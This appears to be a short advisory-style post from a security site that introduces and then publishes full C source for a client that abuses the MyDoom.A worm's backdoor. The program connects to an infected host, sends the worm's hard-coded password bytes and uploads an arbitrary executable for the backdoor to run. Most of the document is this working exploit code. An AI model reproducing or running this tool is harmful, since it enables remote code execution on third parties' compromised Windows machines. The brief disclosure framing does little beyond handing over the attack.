MyDoom.A Machines : The new P2P Sharing Network ...
As you know MyDoom.A machines are exploited by MyDoom.C and Vesser - There is a
faster and more dangerous worm exploiting these machines : his name is
"kiddies" !!
so here is one of the codes used by hax0rz to exploit Mydoom.A machines (many
other codes in the wild)
Regards.
Fabien // K-OTik Staff
http://www.k-otik.com
// MyDoom.A Upload/Exec Backdoor
#include <stdio.h>
#include <string.h>
#include <winsock.h>
#pragma lib <ws2_32.lib>
int main(int argc,char *argv[]) {
int sockfd, numbytes;
struct hostent *he;
struct sockaddr_in their_addr;
char doompassword[] = "\x85\x13\x3c\x9e\xa2";
char buf[1024];
int read=0;
FILE *fuckfile;
WSADATA wsaData;
if(argc<3)
{
printf("***************************************************\n");
printf("***** MyDoom.A Upload/Exec Backdoor*****\n");
printf("**** Usage: %s <ip> <port> <program to upload> ****\n", argv[0]);
printf("***************************************************\n");
return -1;
}
printf("[+] Opening File\n");
fuckfile = fopen(argv[3],"rb");
if (fuckfile==NULL) {
printf("[-] Open Failed\n");
return -1;
}
printf("[+] File found ready to send\n");
if(WSAStartup(0x101,&wsaData))
{
printf("[-] Unable to load winsock.\n");
return -1;
}
if ((he=gethostbyname(argv[1])) == NULL) { // get the host info
printf("[-] GetHostByName() Error!\n");
return -1;
}
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
printf("[-] Can't open socket!\n");
return -1;
}
their_addr.sin_family = AF_INET; // host byte order
their_addr.sin_port = htons(atoi(argv[2])); // port
their_addr.sin_addr = *((struct in_addr *)he->h_addr);
//memset(&(their_addr.sin_zero), '\0', 8); // zero the rest of the struct
if (connect(sockfd, (struct sockaddr *)&their_addr,sizeof(struct sockaddr)) ==
-1) {
printf("[-] Connecting error\n");
return -1;
}
printf("[+] Connected\n[+] Sending executable.\n");
send(sockfd,doompassword,5,0); //sending the password :)
while (!feof(fuckfile)) {
read = fread(buf,sizeof(char),sizeof(buf),fuckfile);
if ((numbytes=send(sockfd,buf,read,0)) == -1) {
printf("[-] Sending executable failed\n");
return -1;
}
printf(".");
}
printf("[+] All done, server have now executed your executable!\n");
closesocket(sockfd);
WSACleanup();
return 0;
}